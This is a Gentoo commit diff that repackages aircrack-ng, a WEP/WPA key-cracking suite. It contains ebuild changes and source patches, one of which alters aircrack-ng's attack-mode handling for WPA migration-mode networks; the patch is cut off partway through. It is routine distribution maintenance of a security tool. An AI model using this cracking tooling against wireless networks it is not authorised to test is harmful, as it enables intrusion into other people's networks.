some reasonably major improvements to aircrack-ng as I merge pentoo changeset into gentoo

(Portage version: 2.1.11.55/cvs/Linux x86_64, signed Manifest commit with key DD11F94A)

13 files changed, 1280 insertions, 206 deletions

diff --git a/net-wireless/aircrack-ng/ChangeLog b/net-wireless/aircrack-ng/ChangeLog
index d4681d3bbae3..bf25057f7a05 100644
--- a/net-wireless/aircrack-ng/ChangeLog
+++ b/net-wireless/aircrack-ng/ChangeLog
@@ -1,6 +1,20 @@
 # ChangeLog for net-wireless/aircrack-ng
-# Copyright 1999-2012 Gentoo Foundation; Distributed under the GPL v2
-# $Header: /var/cvsroot/gentoo-x86/net-wireless/aircrack-ng/ChangeLog,v 1.71 2012/12/23 18:15:03 maekke Exp $
+# Copyright 1999-2013 Gentoo Foundation; Distributed under the GPL v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/aircrack-ng/ChangeLog,v 1.72 2013/04/12 03:27:55 zerochaos Exp $
+
+*aircrack-ng-9999 (12 Apr 2013)
+*aircrack-ng-1.1-r4 (12 Apr 2013)
+
+  12 Apr 2013; Rick Farina <zerochaos@gentoo.org> +aircrack-ng-1.1-r4.ebuild,
+  +aircrack-ng-9999.ebuild, +files/airodump-ng-oui-update-path-fix.patch,
+  +files/airodump-ng.ignore-negative-one.v4.patch,
+  +files/changeset_r1921_backport.diff,
+  +files/diff-wpa-migration-mode-aircrack-ng.diff, +files/eapol_fix.patch,
+  +files/ignore-channel-1-error.patch, -aircrack-ng-0.9.3.ebuild,
+  -aircrack-ng-1.0.ebuild, -aircrack-ng-1.1-r3.ebuild, -aircrack-ng-1.1.ebuild,
+  metadata.xml:
+  some reasonably major improvements to aircrack-ng as I merge pentoo changeset
+  into gentoo
 
   23 Dec 2012; Markus Meier <maekke@gentoo.org> aircrack-ng-1.1-r2.ebuild:
   arm stable, bug #311797
diff --git a/net-wireless/aircrack-ng/aircrack-ng-0.9.3.ebuild b/net-wireless/aircrack-ng/aircrack-ng-0.9.3.ebuild
deleted file mode 100644
index c0acb5da61e2..000000000000
--- a/net-wireless/aircrack-ng/aircrack-ng-0.9.3.ebuild
+++ /dev/null
@@ -1,45 +0,0 @@
-# Copyright 1999-2008 Gentoo Foundation
-# Distributed under the terms of the GNU General Public License v2
-# $Header: /var/cvsroot/gentoo-x86/net-wireless/aircrack-ng/aircrack-ng-0.9.3.ebuild,v 1.5 2008/09/27 16:20:57 armin76 Exp $
-
-inherit toolchain-funcs
-
-DESCRIPTION="WLAN tools for breaking 802.11 WEP/WPA keys"
-HOMEPAGE="http://www.aircrack-ng.org"
-SRC_URI="http://download.aircrack-ng.org/${P}.tar.gz"
-
-LICENSE="GPL-2"
-SLOT="0"
-KEYWORDS="amd64 arm ppc x86 ~x86-fbsd"
-IUSE="wifi"
-
-DEPEND="wifi? ( net-libs/libpcap )"
-
-src_compile() {
-	local target
-	use wifi || target="userland"
-	emake -e CC="$(tc-getCC)" ${target} || die "emake failed"
-}
-
-src_install() {
-	local target
-	use wifi && target="install" || target="install_userland"
-	emake \
-		prefix=/usr \
-		docdir="/usr/share/doc/${PF}" \
-		mandir="/usr/share/man/man1" \
-		destdir="${D}" \
-		${target} \
-		doc \
-		|| die "emake install failed"
-}
-
-src_test() {
-	#./makeivs wep.ivs 11111111111111111111111111 || die 'generating ivs file failed'
-	#./aircrack-ng wep.ivs || die 'cracking WEP key failed'
-
-	# Upstream uses signal in order to quit,
-	# So protect busybox with process group leader.
-	"$(tc-getCC)" -o process-group-leader "${FILESDIR}/process-group-leader.c"
-	./process-group-leader ./aircrack-ng -w test/password.lst test/wpa.cap || die 'cracking WPA key failed'
-}
diff --git a/net-wireless/aircrack-ng/aircrack-ng-1.0.ebuild b/net-wireless/aircrack-ng/aircrack-ng-1.0.ebuild
deleted file mode 100644
index f8bce4fd0791..000000000000
--- a/net-wireless/aircrack-ng/aircrack-ng-1.0.ebuild
+++ /dev/null
@@ -1,73 +0,0 @@
-# Copyright 1999-2010 Gentoo Foundation
-# Distributed under the terms of the GNU General Public License v2
-# $Header: /var/cvsroot/gentoo-x86/net-wireless/aircrack-ng/aircrack-ng-1.0.ebuild,v 1.6 2010/04/06 19:19:31 abcd Exp $
-
-EAPI="3"
-
-inherit eutils flag-o-matic toolchain-funcs versionator
-
-MY_PV=$(replace_version_separator 2 '-')
-
-DESCRIPTION="WLAN tools for breaking 802.11 WEP/WPA keys"
-HOMEPAGE="http://www.aircrack-ng.org"
-SRC_URI="http://download.aircrack-ng.org/${PN}-${MY_PV}.tar.gz"
-
-LICENSE="GPL-2"
-SLOT="0"
-KEYWORDS="amd64 arm ppc x86 ~amd64-linux ~x86-linux"
-IUSE="+sqlite kernel_linux kernel_FreeBSD"
-
-DEPEND="dev-libs/openssl
-	sqlite? ( >=dev-db/sqlite-3.4 )"
-RDEPEND="${DEPEND}
-	kernel_linux? ( net-wireless/iw net-wireless/wireless-tools )"
-
-S="${WORKDIR}/${PN}-${MY_PV}"
-
-have_sqlite() {
-	use sqlite && echo "true" || echo "false"
-}
-
-pkg_setup() {
-	# aircrack-ng fails to build with -fPIE.
-	filter-flags -fPIE
-}
-
-src_prepare() {
-	epatch "${FILESDIR}/${PN}-1.0_rc3-respect_LDFLAGS.patch"
-	epatch "${FILESDIR}/${PN}-1.0_rc4-fix_build.patch"
-}
-
-src_compile() {
-	# UNSTABLE=true enables building of buddy-ng, easside-ng, tkiptun-ng and wesside-ng
-	emake CC="$(tc-getCC)" LD="$(tc-getLD)" sqlite=$(have_sqlite) UNSTABLE=true || die "emake failed"
-}
-
-src_install() {
-	# UNSTABLE=true enables installation of buddy-ng, easside-ng, tkiptun-ng and wesside-ng
-	emake \
-		prefix="${EPREFIX}/usr" \
-		mandir="${EPREFIX}/usr/share/man/man1" \
-		DESTDIR="${D}" \
-		sqlite=$(have_sqlite) \
-		UNSTABLE=true \
-		install \
-		|| die "emake install failed"
-
-	dodoc AUTHORS ChangeLog README
-}
-
-pkg_postinst() {
-	# Message is (c) FreeBSD
-	# http://www.freebsd.org/cgi/cvsweb.cgi/ports/net-mgmt/aircrack-ng/files/pkg-message.in?rev=1.5
-	if use kernel_FreeBSD ; then
-		einfo "Contrary to Linux, it is not necessary to use airmon-ng to enable the monitor"
-		einfo "mode of your wireless card.  So do not care about what the manpages say about"
-		einfo "airmon-ng, airodump-ng sets monitor mode automatically."
-		echo
-		einfo "To return from monitor mode, issue the following command:"
-		einfo "    ifconfig \${INTERFACE} -mediaopt monitor"
-		einfo
-		einfo "For aireplay-ng you need FreeBSD >= 7.0."
-	fi
-}
diff --git a/net-wireless/aircrack-ng/aircrack-ng-1.1-r3.ebuild b/net-wireless/aircrack-ng/aircrack-ng-1.1-r4.ebuild
index 281d7b4c3268..d6bde978bad8 100644
--- a/net-wireless/aircrack-ng/aircrack-ng-1.1-r3.ebuild
+++ b/net-wireless/aircrack-ng/aircrack-ng-1.1-r4.ebuild
@@ -1,8 +1,8 @@
-# Copyright 1999-2012 Gentoo Foundation
+# Copyright 1999-2013 Gentoo Foundation
 # Distributed under the terms of the GNU General Public License v2
-# $Header: /var/cvsroot/gentoo-x86/net-wireless/aircrack-ng/aircrack-ng-1.1-r3.ebuild,v 1.1 2012/12/16 19:23:02 alonbl Exp $
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/aircrack-ng/aircrack-ng-1.1-r4.ebuild,v 1.1 2013/04/12 03:27:55 zerochaos Exp $
 
-EAPI="3"
+EAPI="5"
 
 inherit eutils toolchain-funcs versionator
 
@@ -15,7 +15,8 @@ SRC_URI="http://download.aircrack-ng.org/${PN}-${MY_PV}.tar.gz"
 LICENSE="GPL-2"
 SLOT="0"
 KEYWORDS="~amd64 ~arm ~ppc ~x86 ~x86-fbsd ~amd64-linux ~x86-linux"
-IUSE="+sqlite kernel_linux kernel_FreeBSD"
+
+IUSE="kernel_linux kernel_FreeBSD +sqlite +unstable"
 
 DEPEND="dev-libs/openssl
 	sqlite? ( >=dev-db/sqlite-3.4 )"
@@ -28,12 +29,23 @@ have_sqlite() {
 	use sqlite && echo "true" || echo "false"
 }
 
+have_unstable() {
+	use unstable && echo "true" || echo "false"
+}
+
 src_prepare() {
-	epatch "${FILESDIR}/${P}-respect_LDFLAGS.patch"
 	epatch "${FILESDIR}/${PN}-1.0_rc4-fix_build.patch"
 	epatch "${FILESDIR}/${P}-parallelmake.patch"
 	epatch "${FILESDIR}/${P}-sse-pic.patch"
 	epatch "${FILESDIR}/${P}-CVE-2010-1159.patch"
+	epatch "${FILESDIR}/${P}-respect_LDFLAGS.patch"
+	epatch "${FILESDIR}"/diff-wpa-migration-mode-aircrack-ng.diff
+	epatch "${FILESDIR}"/ignore-channel-1-error.patch
+	epatch "${FILESDIR}"/airodump-ng.ignore-negative-one.v4.patch
+	epatch "${FILESDIR}"/changeset_r1921_backport.diff
+
+	#likely to stay after version bump
+	epatch "${FILESDIR}"/airodump-ng-oui-update-path-fix.patch
 }
 
 src_compile() {
@@ -43,21 +55,21 @@ src_compile() {
 		AR="$(tc-getAR)" \
 		RANLIB="$(tc-getRANLIB)" \
 		sqlite="$(have_sqlite)" \
-		UNSTABLE=true || die "emake failed"
+		UNSTABLE="$(have_unstable)"
 }
 
 src_install() {
-	# UNSTABLE=true enables installation of buddy-ng, easside-ng, tkiptun-ng and wesside-ng
 	emake \
 		prefix="${EPREFIX}/usr" \
 		mandir="${EPREFIX}/usr/share/man/man1" \
-		DESTDIR="${D}" \
+		DESTDIR="${ED}" \
 		sqlite="$(have_sqlite)" \
-		UNSTABLE=true \
-		install \
-		|| die "emake install failed"
+		unstable="$(have_unstable)" \
+		install
 
-	dodoc AUTHORS ChangeLog README
+	dodoc AUTHORS ChangeLog INSTALLING README
+	#dodir /etc/aircrack-ng/
+	#wget http://standards.ieee.org/regauth/oui/oui.txt -O "${ED}"/etc/aircrack-ng/airodump-ng-oui.txt
 }
 
 pkg_postinst() {
diff --git a/net-wireless/aircrack-ng/aircrack-ng-1.1.ebuild b/net-wireless/aircrack-ng/aircrack-ng-1.1.ebuild
deleted file mode 100644
index 879ab95fbcb4..000000000000
--- a/net-wireless/aircrack-ng/aircrack-ng-1.1.ebuild
+++ /dev/null
@@ -1,74 +0,0 @@
-# Copyright 1999-2012 Gentoo Foundation
-# Distributed under the terms of the GNU General Public License v2
-# $Header: /var/cvsroot/gentoo-x86/net-wireless/aircrack-ng/aircrack-ng-1.1.ebuild,v 1.2 2012/06/29 14:47:55 flameeyes Exp $
-
-EAPI="3"
-
-inherit eutils flag-o-matic toolchain-funcs versionator
-
-MY_PV="$(replace_version_separator 2 '-')"
-
-DESCRIPTION="WLAN tools for breaking 802.11 WEP/WPA keys"
-HOMEPAGE="http://www.aircrack-ng.org"
-SRC_URI="http://download.aircrack-ng.org/${PN}-${MY_PV}.tar.gz"
-
-LICENSE="GPL-2"
-SLOT="0"
-KEYWORDS="~amd64 ~arm ~ppc ~x86 ~amd64-linux ~x86-linux"
-IUSE="+sqlite kernel_linux kernel_FreeBSD"
-
-DEPEND="dev-libs/openssl
-	sqlite? ( >=dev-db/sqlite-3.4 )"
-RDEPEND="${DEPEND}
-	kernel_linux? ( net-wireless/iw net-wireless/wireless-tools )"
-
-S="${WORKDIR}/${PN}-${MY_PV}"
-
-have_sqlite() {
-	use sqlite && echo "true" || echo "false"
-}
-
-pkg_setup() {
-	# aircrack-ng fails to build with -fPIE.
-	filter-flags -fPIE
-}
-
-src_prepare() {
-	epatch "${FILESDIR}/${P}-respect_LDFLAGS.patch"
-	epatch "${FILESDIR}/${PN}-1.0_rc4-fix_build.patch"
-	epatch "${FILESDIR}/${P}-parallelmake.patch"
-}
-
-src_compile() {
-	# UNSTABLE=true enables building of buddy-ng, easside-ng, tkiptun-ng and wesside-ng
-	emake CC="$(tc-getCC)" LD="$(tc-getLD)" sqlite="$(have_sqlite)" UNSTABLE=true || die "emake failed"
-}
-
-src_install() {
-	# UNSTABLE=true enables installation of buddy-ng, easside-ng, tkiptun-ng and wesside-ng
-	emake \
-		prefix="${EPREFIX}/usr" \
-		mandir="${EPREFIX}/usr/share/man/man1" \
-		DESTDIR="${D}" \
-		sqlite="$(have_sqlite)" \
-		UNSTABLE=true \
-		install \
-		|| die "emake install failed"
-
-	dodoc AUTHORS ChangeLog README
-}
-
-pkg_postinst() {
-	# Message is (c) FreeBSD
-	# http://www.freebsd.org/cgi/cvsweb.cgi/ports/net-mgmt/aircrack-ng/files/pkg-message.in?rev=1.5
-	if use kernel_FreeBSD ; then
-		einfo "Contrary to Linux, it is not necessary to use airmon-ng to enable the monitor"
-		einfo "mode of your wireless card.  So do not care about what the manpages say about"
-		einfo "airmon-ng, airodump-ng sets monitor mode automatically."
-		echo
-		einfo "To return from monitor mode, issue the following command:"
-		einfo "    ifconfig \${INTERFACE} -mediaopt monitor"
-		einfo
-		einfo "For aireplay-ng you need FreeBSD >= 7.0."
-	fi
-}
diff --git a/net-wireless/aircrack-ng/aircrack-ng-9999.ebuild b/net-wireless/aircrack-ng/aircrack-ng-9999.ebuild
new file mode 100644
index 000000000000..c1cca5022a8f
--- /dev/null
+++ b/net-wireless/aircrack-ng/aircrack-ng-9999.ebuild
@@ -0,0 +1,84 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/aircrack-ng/aircrack-ng-9999.ebuild,v 1.1 2013/04/12 03:27:55 zerochaos Exp $
+
+EAPI="5"
+
+inherit toolchain-funcs versionator subversion
+
+DESCRIPTION="WLAN tools for breaking 802.11 WEP/WPA keys"
+HOMEPAGE="http://www.aircrack-ng.org"
+ESVN_REPO_URI="http://trac.aircrack-ng.org/svn/trunk/"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS=""
+
+IUSE="+airdrop-ng +airgraph-ng kernel_linux kernel_FreeBSD netlink +sqlite +unstable"
+
+DEPEND="dev-libs/openssl
+	netlink? ( dev-libs/libnl:3 )
+	sqlite? ( >=dev-db/sqlite-3.4 )"
+RDEPEND="${DEPEND}
+	kernel_linux? (
+		net-wireless/iw
+		net-wireless/wireless-tools
+		sys-apps/ethtool
+		sys-apps/usbutils
+		sys-apps/pciutils )
+	net-misc/ieee-oui
+	airdrop-ng? ( net-wireless/lorcon[python] )"
+
+S="${WORKDIR}/${PN}"
+
+subversion_src_prepare() {
+	subversion_bootstrap || die "${ESVN}: unknown problem occurred in subversion_bootstrap."
+}
+
+src_compile() {
+	emake \
+	CC="$(tc-getCC)" \
+	AR="$(tc-getAR)" \
+	LD="$(tc-getLD)" \
+	RANLIB="$(tc-getRANLIB)" \
+	libnl=$(usex netlink true false) \
+	sqlite=$(usex sqlite true false) \
+	unstable=$(usex unstable true false) \
+	REVFLAGS=-D_REVISION="${ESVN_WC_REVISION}"
+}
+
+src_install() {
+	emake \
+		prefix="${ED}/usr" \
+		libnl=$(usex netlink true false) \
+		sqlite=$(usex sqlite true false) \
+		unstable=$(usex unstable true false) \
+		REVFLAGS=-D_REVISION="${ESVN_WC_REVISION}" \
+		install
+
+	dodoc AUTHORS ChangeLog INSTALLING README
+
+	if use airgraph-ng; then
+		cd "${S}/scripts/airgraph-ng"
+		emake prefix="${ED}/usr" install
+	fi
+	if use airdrop-ng; then
+		cd "${S}/scripts/airdrop-ng"
+		emake prefix="${ED}/usr" install
+	fi
+}
+
+pkg_postinst() {
+	# Message is (c) FreeBSD
+	# http://www.freebsd.org/cgi/cvsweb.cgi/ports/net-mgmt/aircrack-ng/files/pkg-message.in?rev=1.5
+	if use kernel_FreeBSD ; then
+		einfo "Contrary to Linux, it is not necessary to use airmon-ng to enable the monitor"
+		einfo "mode of your wireless card.  So do not care about what the manpages say about"
+		einfo "airmon-ng, airodump-ng sets monitor mode automatically."
+		echo
+		einfo "To return from monitor mode, issue the following command:"
+		einfo "    ifconfig \${INTERFACE} -mediaopt monitor"
+		einfo
+		einfo "For aireplay-ng you need FreeBSD >= 7.0."
+	fi
+}
diff --git a/net-wireless/aircrack-ng/files/airodump-ng-oui-update-path-fix.patch b/net-wireless/aircrack-ng/files/airodump-ng-oui-update-path-fix.patch
new file mode 100644
index 000000000000..846f03da79ac
--- /dev/null
+++ b/net-wireless/aircrack-ng/files/airodump-ng-oui-update-path-fix.patch
@@ -0,0 +1,12 @@
+diff -Naur aircrack-ng-1.1/scripts/airodump-ng-oui-update aircrack-ng-1.1-patched/scripts/airodump-ng-oui-update
+--- aircrack-ng-1.1/scripts/airodump-ng-oui-update	2009-08-07 16:53:15.000000000 -0400
++++ aircrack-ng-1.1-patched/scripts/airodump-ng-oui-update	2011-07-06 10:35:18.000000000 -0400
+@@ -4,7 +4,7 @@
+ WGET=`which wget 2>/dev/null`
+ OUI_DOWNLOAD_URL="http://standards.ieee.org/regauth/oui/oui.txt"
+ 
+-OUI_PATH="/usr/local/etc/aircrack-ng"
++OUI_PATH="/etc/aircrack-ng"
+ AIRODUMP_NG_OUI="${OUI_PATH}/airodump-ng-oui.txt"
+ OUI_IEEE="${OUI_PATH}/oui.txt"
+ USERID=""
diff --git a/net-wireless/aircrack-ng/files/airodump-ng.ignore-negative-one.v4.patch b/net-wireless/aircrack-ng/files/airodump-ng.ignore-negative-one.v4.patch
new file mode 100644
index 000000000000..fd1df04189b5
--- /dev/null
+++ b/net-wireless/aircrack-ng/files/airodump-ng.ignore-negative-one.v4.patch
@@ -0,0 +1,121 @@
+Index: src/airodump-ng.c
+===================================================================
+--- src/airodump-ng.c	(revision 1916)
++++ src/airodump-ng.c	(working copy)
+@@ -589,42 +589,44 @@
+ "  usage: airodump-ng <options> <interface>[,<interface>,...]\n"
+ "\n"
+ "  Options:\n"
+-"      --ivs               : Save only captured IVs\n"
+-"      --gpsd              : Use GPSd\n"
+-"      --write    <prefix> : Dump file prefix\n"
+-"      -w                  : same as --write \n"
+-"      --beacons           : Record all beacons in dump file\n"
+-"      --update     <secs> : Display update delay in seconds\n"
+-"      --showack           : Prints ack/cts/rts statistics\n"
+-"      -h                  : Hides known stations for --showack\n"
+-"      -f          <msecs> : Time in ms between hopping channels\n"
+-"      --berlin     <secs> : Time before removing the AP/client\n"
+-"                            from the screen when no more packets\n"
+-"                            are received (Default: 120 seconds)\n"
+-"      -r           <file> : Read packets from that file\n"
+-"      -x          <msecs> : Active Scanning Simulation\n"
++"      --ivs                 : Save only captured IVs\n"
++"      --gpsd                : Use GPSd\n"
++"      --write      <prefix> : Dump file prefix\n"
++"      -w                    : same as --write \n"
++"      --beacons             : Record all beacons in dump file\n"
++"      --update       <secs> : Display update delay in seconds\n"
++"      --showack             : Prints ack/cts/rts statistics\n"
++"      -h                    : Hides known stations for --showack\n"
++"      -f            <msecs> : Time in ms between hopping channels\n"
++"      --berlin       <secs> : Time before removing the AP/client\n"
++"                              from the screen when no more packets\n"
++"                              are received (Default: 120 seconds)\n"
++"      -r             <file> : Read packets from that file\n"
++"      -x            <msecs> : Active Scanning Simulation\n"
+ "      --output-format\n"
+-"                <formats> : Output format. Possible values:\n"
+-"                            pcap, ivs, csv, gps, kismet, netxml\n"
++"                  <formats> : Output format. Possible values:\n"
++"                              pcap, ivs, csv, gps, kismet, netxml\n"
++"      --ignore-negative-one : Removes the message that says\n"
++"                              fixed channel <interface>: -1\n"
+ "\n"
+ "  Filter options:\n"
+-"      --encrypt   <suite> : Filter APs by cipher suite\n"
+-"      --netmask <netmask> : Filter APs by mask\n"
+-"      --bssid     <bssid> : Filter APs by BSSID\n"
+-"      -a                  : Filter unassociated clients\n"
++"      --encrypt   <suite>   : Filter APs by cipher suite\n"
++"      --netmask <netmask>   : Filter APs by mask\n"
++"      --bssid     <bssid>   : Filter APs by BSSID\n"
++"      -a                    : Filter unassociated clients\n"
+ "\n"
+ "  By default, airodump-ng hop on 2.4GHz channels.\n"
+ "  You can make it capture on other/specific channel(s) by using:\n"
+-"      --channel <channels>: Capture on specific channels\n"
+-"      --band <abg>        : Band on which airodump-ng should hop\n"
+-"      -C    <frequencies> : Uses these frequencies in MHz to hop\n"
+-"      --cswitch  <method> : Set channel switching method\n"
+-"                    0     : FIFO (default)\n"
+-"                    1     : Round Robin\n"
+-"                    2     : Hop on last\n"
+-"      -s                  : same as --cswitch\n"
++"      --channel <channels>  : Capture on specific channels\n"
++"      --band <abg>          : Band on which airodump-ng should hop\n"
++"      -C    <frequencies>   : Uses these frequencies in MHz to hop\n"
++"      --cswitch  <method>   : Set channel switching method\n"
++"                    0       : FIFO (default)\n"
++"                    1       : Round Robin\n"
++"                    2       : Hop on last\n"
++"      -s                    : same as --cswitch\n"
+ "\n"
+-"      --help              : Displays this usage screen\n"
++"      --help                : Displays this usage screen\n"
+ "\n";
+ 
+ int is_filtered_netmask(uchar *bssid)
+@@ -5037,6 +5039,7 @@
+     for(i=0; i<cards; i++)
+     {
+         chan = wi_get_channel(wi[i]);
++        if(G.ignore_negative_one == 1 && chan==-1) return 0;
+         if(G.channel[i] != chan)
+         {
+             memset(G.message, '\x00', sizeof(G.message));
+@@ -5237,6 +5240,7 @@
+         {"showack",  0, 0, 'A'},
+         {"detect-anomaly", 0, 0, 'E'},
+         {"output-format",  1, 0, 'o'},
++        {"ignore-negative-one", 0, &G.ignore_negative_one, 1},
+         {0,          0, 0,  0 }
+     };
+ 
+Index: src/airodump-ng.h
+===================================================================
+--- src/airodump-ng.h	(revision 1916)
++++ src/airodump-ng.h	(working copy)
+@@ -418,6 +418,8 @@
+     pthread_mutex_t mx_sort;			 /* lock write access to ap LL   */
+     
+     uchar selected_bssid[6];	/* bssid that is selected */
++
++    int ignore_negative_one;
+ }
+ G;
+ 
+Index: manpages/airodump-ng.1
+===================================================================
+--- manpages/airodump-ng.1	(revision 1916)
++++ manpages/airodump-ng.1	(working copy)
+@@ -58,6 +58,9 @@
+ 'pcap' is for recording a capture in pcap format, 'ivs' is for ivs format (it is a shortcut for --ivs). 'csv' will create an airodump-ng CSV file, 'kismet' will create a kismet csv file and 'kismet-newcore' will create the kismet netxml file. 'gps' is a shortcut for --gps.
+ .br
+ Theses values can be combined with the exception of ivs and pcap.
++.TP
++.I --ignore-negative-one
++Removes the message that says 'fixed channel <interface>: -1'.
+ .PP
+ .B Filter options:
+ .TP
diff --git a/net-wireless/aircrack-ng/files/changeset_r1921_backport.diff b/net-wireless/aircrack-ng/files/changeset_r1921_backport.diff
new file mode 100644
index 000000000000..e9a4a8013ea9
--- /dev/null
+++ b/net-wireless/aircrack-ng/files/changeset_r1921_backport.diff
@@ -0,0 +1,60 @@
+diff -Naur aircrack-ng-1.1/src/airodump-ng.c aircrack-ng-1.1-patched/src/airodump-ng.c
+--- aircrack-ng-1.1/src/airodump-ng.c	2011-07-06 10:28:54.000000000 -0400
++++ aircrack-ng-1.1-patched/src/airodump-ng.c	2011-07-06 10:24:40.000000000 -0400
+@@ -383,8 +383,11 @@
+ 	unsigned char c[2];
+ 	struct oui *oui_ptr = NULL, *oui_head = NULL;
+ 
+-	if (!(fp = fopen(OUI_PATH, "r")))
+-		return NULL;
++	if (!(fp = fopen(OUI_PATH0, "r"))) {
++		if (!(fp = fopen(OUI_PATH1, "r"))) {
++			return NULL;
++		}
++	}
+ 
+ 	memset(buffer, 0x00, sizeof(buffer));
+ 	while (fgets(buffer, sizeof(buffer), fp) != NULL) {
+@@ -3592,6 +3595,7 @@
+ #define OUI_STR_SIZE 8
+ #define MANUF_SIZE 128
+ char *get_manufacturer(unsigned char mac0, unsigned char mac1, unsigned char mac2) {
++	static char * oui_location = NULL;
+ 	char oui[OUI_STR_SIZE + 1];
+ 	char *manuf;
+ 	//char *buffer_manuf;
+@@ -3625,7 +3629,20 @@
+ 		}
+ 	} else {
+ 		// If the file exist, then query it each time we need to get a manufacturer.
+-		fp = fopen(OUI_PATH, "r");
++		if (oui_location == NULL) {
++			fp = fopen(OUI_PATH0, "r");
++			if (fp == NULL) {
++				fp = fopen(OUI_PATH1, "r");
++				if (fp != NULL) {
++					oui_location = OUI_PATH1;
++				}
++			} else {
++				oui_location = OUI_PATH0;
++			}
++		} else {
++			fp = fopen(oui_location, "r");
++		}
++
+ 		if (fp != NULL) {
+ 
+ 			memset(buffer, 0x00, sizeof(buffer));
+diff -Naur aircrack-ng-1.1/src/airodump-ng.h aircrack-ng-1.1-patched/src/airodump-ng.h
+--- aircrack-ng-1.1/src/airodump-ng.h	2011-07-06 10:28:54.000000000 -0400
++++ aircrack-ng-1.1-patched/src/airodump-ng.h	2011-07-06 10:39:27.000000000 -0400
+@@ -111,7 +111,8 @@
+ "\x00\x00\x00\x00\x00\x00\x00\x00"
+ "\x00\x00\x00\x00\x00\x00\x00\x00";
+ 
+-#define OUI_PATH "/usr/local/etc/aircrack-ng/airodump-ng-oui.txt"
++#define OUI_PATH0 "/etc/aircrack-ng/airodump-ng-oui.txt"
++#define OUI_PATH1 "/usr/local/etc/aircrack-ng/airodump-ng-oui.txt"
+ #define MIN_RAM_SIZE_LOAD_OUI_RAM 32768
+ 
+ int read_pkts=0;
diff --git a/net-wireless/aircrack-ng/files/diff-wpa-migration-mode-aircrack-ng.diff b/net-wireless/aircrack-ng/files/diff-wpa-migration-mode-aircrack-ng.diff
new file mode 100644
index 000000000000..5a8fd15a25b0
--- /dev/null
+++ b/net-wireless/aircrack-ng/files/diff-wpa-migration-mode-aircrack-ng.diff
@@ -0,0 +1,872 @@
+diff -ru /tmp/aircrack-ng-1.1/src/aircrack-ng.c ./aircrack-ng.c
+--- /tmp/aircrack-ng-1.1/src/aircrack-ng.c	2010-04-09 11:50:14.000000000 -0300
++++ ./aircrack-ng.c	2010-07-12 13:13:42.000000000 -0300
+@@ -1065,6 +1065,9 @@
+ 
+ 			ap_cur->crypt = -1;
+ 
++			if (opt.forced_amode)
++				ap_cur->crypt = opt.amode + 1;
++
+ 			if (opt.do_ptw == 1)
+ 			{
+ 				ap_cur->ptw_clean = PTW_newattackstate();
+@@ -1388,13 +1391,18 @@
+ 
+ 		if( h80211[z] != h80211[z + 1] || h80211[z + 2] != 0x03 )
+ 		{
+-			ap_cur->crypt = 2;	 /* encryption = WEP */
++			if( !opt.forced_amode )
++				ap_cur->crypt = 2;	 /* encryption = WEP */
+ 
+ 			/* check the extended IV flag */
+ 
+-			if( ( h80211[z + 3] & 0x20 ) != 0 )
+-								 /* encryption = WPA */
++			if( ( h80211[z + 3] & 0x20 ) != 0 ) 
++                        {
++				 /* encryption = WPA */
++				if( !opt.forced_amode )
+ 					ap_cur->crypt = 3;
++				goto unlock_mx_apl;
++                        } 
+ 
+ 			/* check the WEP key index */
+ 
+@@ -1490,7 +1498,8 @@
+ 			goto unlock_mx_apl;
+ 
+ 		ap_cur->eapol = 0;
+-		ap_cur->crypt = 3;		 /* set WPA */
++		if( !opt.forced_amode )
++			ap_cur->crypt = 3;		 /* set WPA */
+ 
+ 		if( st_cur == NULL )
+ 		{
+@@ -1976,6 +1985,9 @@
+ 			memcpy( ap_cur->bssid, bssid, 6 );
+ 
+ 			ap_cur->crypt = -1;
++			
++			if (opt.forced_amode)
++				ap_cur->crypt = opt.amode + 1;
+ 		}
+ 
+ 		if( fmt == FORMAT_IVS )
+@@ -2202,13 +2214,18 @@
+ 
+ 		if( h80211[z] != h80211[z + 1] || h80211[z + 2] != 0x03 )
+ 		{
+-			ap_cur->crypt = 2;	 /* encryption = WEP */
++			if( !opt.forced_amode )
++				ap_cur->crypt = 2;	 /* encryption = WEP */
+ 
+ 			/* check the extended IV flag */
+ 
+-			if( ( h80211[z + 3] & 0x20 ) != 0 )
+-								 /* encryption = WPA */
++			if( ( h80211[z + 3] & 0x20 ) != 0 ) 
++                        {
++				 /* encryption = WPA */
++				if( !opt.forced_amode )
+ 					ap_cur->crypt = 3;
++				goto unlock_mx_apl;
++                        } 
+ 
+ 			/* check the WEP key index */
+ 
+@@ -3213,7 +3230,10 @@
+ 
+ 		pthread_mutex_unlock( &mx_ivb );
+ 
+-		return( RESTART );
++		if (wep.nb_ivs > 0)
++			return( RESTART );
++		else
++			return( SUCCESS );
+ 	}
+ 
+ 	return( SUCCESS );
+@@ -4580,6 +4600,7 @@
+ 	opt.bssidmerge	= NULL;
+ 	opt.oneshot		= 0;
+ 	opt.logKeyToFile = NULL;
++	opt.forced_amode	= 0;
+ 
+ 	/*
+ 	all_ivs = malloc( (256*256*256) * sizeof(used_iv));
+@@ -4668,6 +4689,8 @@
+ 					return( FAILURE );
+ 				}
+ 
++				opt.forced_amode = 1;
++
+ 				break;
+ 
+ 			case 'e' :
+@@ -5362,7 +5385,7 @@
+ 						printf("Starting PTW attack with %ld ivs.\n", ap_cur->nb_ivs_vague);
+ 					ret = crack_wep_ptw(ap_cur);
+ 
+-					if( opt.oneshot == 1 && ret == FAILURE )
++					if( (opt.oneshot == 1 || wep.nb_ivs == 0) && ret == FAILURE )
+ 					{
+ 						printf( "   Attack failed. Possible reasons:\n\n"
+ 							"     * Out of luck: you must capture more IVs. Usually, 104-bit WEP\n"
+diff -ru /tmp/aircrack-ng-1.1/src/aircrack-ng.h ./aircrack-ng.h
+--- /tmp/aircrack-ng-1.1/src/aircrack-ng.h	2009-06-13 19:49:09.000000000 -0300
++++ ./aircrack-ng.h	2010-07-12 12:25:06.000000000 -0300
+@@ -148,6 +148,8 @@
+ 
+ 	char * logKeyToFile;
+ 
++        int forced_amode;	/* signals disregarding automatic detection of encryption type */
++
+ }
+ 
+ opt;
+diff -ru /tmp/aircrack-ng-1.1/src/aireplay-ng.c ./aireplay-ng.c
+--- /tmp/aircrack-ng-1.1/src/aireplay-ng.c	2010-04-02 01:33:28.000000000 -0300
++++ ./aireplay-ng.c	2010-07-08 19:56:40.000000000 -0300
+@@ -93,6 +93,10 @@
